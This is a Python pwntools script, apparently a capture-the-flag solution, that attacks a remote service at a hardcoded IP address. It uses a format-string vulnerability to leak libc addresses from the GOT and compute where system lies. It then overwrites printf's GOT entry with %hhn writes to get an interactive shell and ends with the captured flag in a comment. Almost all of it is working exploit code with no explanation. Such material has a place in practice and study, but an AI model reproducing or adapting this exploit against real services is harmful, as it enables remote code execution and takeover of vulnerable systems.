from pwn import *
import struct

#context.log_level='DEBUG'

r = remote('47.75.182.113', 9999)

PRINTF_GOT = 0x601020
PRINTF_LIBC = 0x55800
GETS_GOT = 0x601028
GETS_LIBC = 0x6ed80
SYSTEM_LIBC = 0x45390
SLEEP_GOT = 0x601030
SLEEP_LIBC = 0xfdd60
 
def dump(addr,frmt='s'):
	raw_addr = struct.pack("Q", addr)
	if "\n" in raw_addr:
		return ("", "")
	leak_part = "|%24${}|".format(frmt)
	payload = leak_part.ljust(136, "A")+"EOF_hitb"+raw_addr
	r.sendline(payload)
	x = r.recvuntil('EOF_hitb')
	return x.split('|')[1], x

#printf_leak = struct.unpack("Q", dump(PRINTF_GOT)[0].ljust(8, "\x00"))[0]
gets_leak = struct.unpack("Q", dump(GETS_GOT)[0].ljust(8, "\x00"))[0]
sleep_leak = struct.unpack("Q", dump(SLEEP_GOT)[0].ljust(8,"\x00"))[0]

#print "printf: 0x{:08x}".format(printf_leak)
print "gets: 0x{:08x}".format(gets_leak)
print "sleep: 0x{:08x}".format(sleep_leak)
libc_base = sleep_leak - SLEEP_LIBC
print "libc : 0x{:08x}".format(libc_base)
system = libc_base + SYSTEM_LIBC
print "system: 0x{:08x}".format(system)

byte_2 = 124 - 0xe + ((system & 0xff00)>>8)
print byte_2
byte_3 = 256 + 108 + ((system & 0xff0000)>>16) - byte_2
print byte_3

exploit = "|%26$10p|%131x|%24$hhn|%{}x|%25$hhn|%{}x|%26$hhn".format(byte_2, byte_3)
exploit += "|%24$s|"
out = exploit.ljust(136, "A") + "EOF_hitb"
out += struct.pack("Q", PRINTF_GOT)
out += struct.pack("Q", PRINTF_GOT+1)
out += struct.pack("Q", PRINTF_GOT+2)
out += struct.pack("Q", PRINTF_GOT+3)

r.sendline(out)
print repr(r.recvuntil("EOF_hitb"))
r.interactive()
# HITB{Baby_Pwn_BabY_bl1nd}
